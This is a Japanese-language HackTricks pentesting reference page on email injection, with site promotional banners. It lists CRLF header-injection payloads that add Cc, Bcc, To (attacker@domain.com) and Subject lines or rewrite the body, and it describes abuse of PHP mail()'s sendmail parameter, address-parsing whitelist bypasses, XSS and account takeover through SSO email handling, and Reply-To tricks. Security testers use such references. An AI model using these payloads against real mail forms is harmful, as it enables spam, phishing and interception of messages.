9.2 KiB
Email Injections
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 DiscordグループやTelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
送信されたメールにインジェクト
送信者引数の後にCcとBccをインジェクト
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
引数のインジェクション
メッセージは、受信者および受信者1アカウントに送信されます。
From:sender@domain.com%0ATo:attacker@domain.com
件名引数をインジェクトする
The message will be sent to the original recipient and the attacker account.
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
メッセージ本文の変更
2行の改行を挿入し、その後にメッセージを書いて、メッセージ本文を変更します。
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() 関数の悪用
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
第5パラメーター($additional_parameters)
このセクションは、攻撃者がそれを制御していると仮定してこのパラメーターを悪用する方法に基づいています。
このパラメーターは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、escapeshellcmd($additional_parameters)
関数でサニタイズされます。
攻撃者は、この場合にsendmailのための追加パラメーターを注入することができます。
/usr/sbin/sendmailの実装の違い
sendmailインターフェースは、システムにインストールされているMTAメールソフトウェア(Sendmail、Postfix、Eximなど)によって提供されます。基本機能(-t -i -fパラメータなど)は、互換性のために同じですが、他の機能やパラメーターは、インストールされているMTAによって大きく異なります。
以下は、sendmailコマンド/インターフェースの異なるmanページのいくつかの例です:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
sendmailの起源によって異なるオプションが発見され、それらを悪用してファイルを漏洩させたり、任意のコマンドを実行したりすることができます。詳細はhttps://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.htmlで確認してください。
メール名に注入
メールの無視される部分
稀な場合に、記号:+、-、および**{}**は、タグ付けに使用され、ほとんどのメールサーバーによって無視されることがあります。
- 例:john.doe+intigriti@example.com → john.doe@example.com
**かっこ内のコメント()**は、先頭または末尾にある場合も無視されます。
- 例:john.doe(intigriti)@example.com → john.doe@example.com
ホワイトリストのバイパス
引用符
IPアドレス
角かっこ内にドメイン名としてIPアドレスを使用することもできます:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
その他の脆弱性
サードパーティSSO
XSS
githubやsalesforceなどの一部のサービスでは、XSSペイロードの入ったメールアドレスを作成することができます。このプロバイダーを使用して他のサービスにログインし、このサービスがメールを適切にサニタイズしていない場合、XSSを引き起こす可能性があります。
アカウント乗っ取り
salesforceのようなSSOサービスが、与えられたメールアドレスを確認せずにアカウントを作成することを許可し、そのアカウントを使用してsalesforceを信頼する別のサービスにログインできる場合、任意のアカウントにアクセスできます。
与えられたメールが検証されたかどうかをsalesforceが示しているが、アプリケーションはこの情報を考慮すべきです。
Reply-To
From: company.comとReplay-To: attacker.comを使用してメールを送信し、メールが内部アドレスから送信されたために自動応答が送信される場合、攻撃者はその応答を受信できるかもしれません。
ハードバウンス率
AWSなどの一部のサービスでは、通常10%に設定されたハードバウンス率として知られる閾値を実装しています。これは、特にメール配信サービスにとって重要なメトリックです。この率を超えると、AWSのメールサービスなどが一時停止またはブロックされる可能性があります。
ハードバウンスとは、受信者のアドレスが無効または存在しないために送信者に返送されたメールを指します。これは、メールが存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信サーバーがメールを受け入れないことによって発生する可能性があります。
AWSの場合、1000通のメールを送信し、そのうち100通がハードバウンスになった場合(無効なアドレスやドメインなどの理由)、これは10%のハードバウンス率を意味します。この率に達すると、AWS SES(Simple Email Service)がメール送信機能をブロックまたは一時停止する可能性があります。
中断されないメールサービスを確保し、送信者の評判を維持するためには、低いハードバウンス率を維持することが重要です。メーリングリスト内のメールアドレスの品質を監視および管理することは、これを達成するのに大きく役立ちます。
詳細な情報については、AWSの公式ドキュメントであるAWS SES Bounce Handlingを参照してください。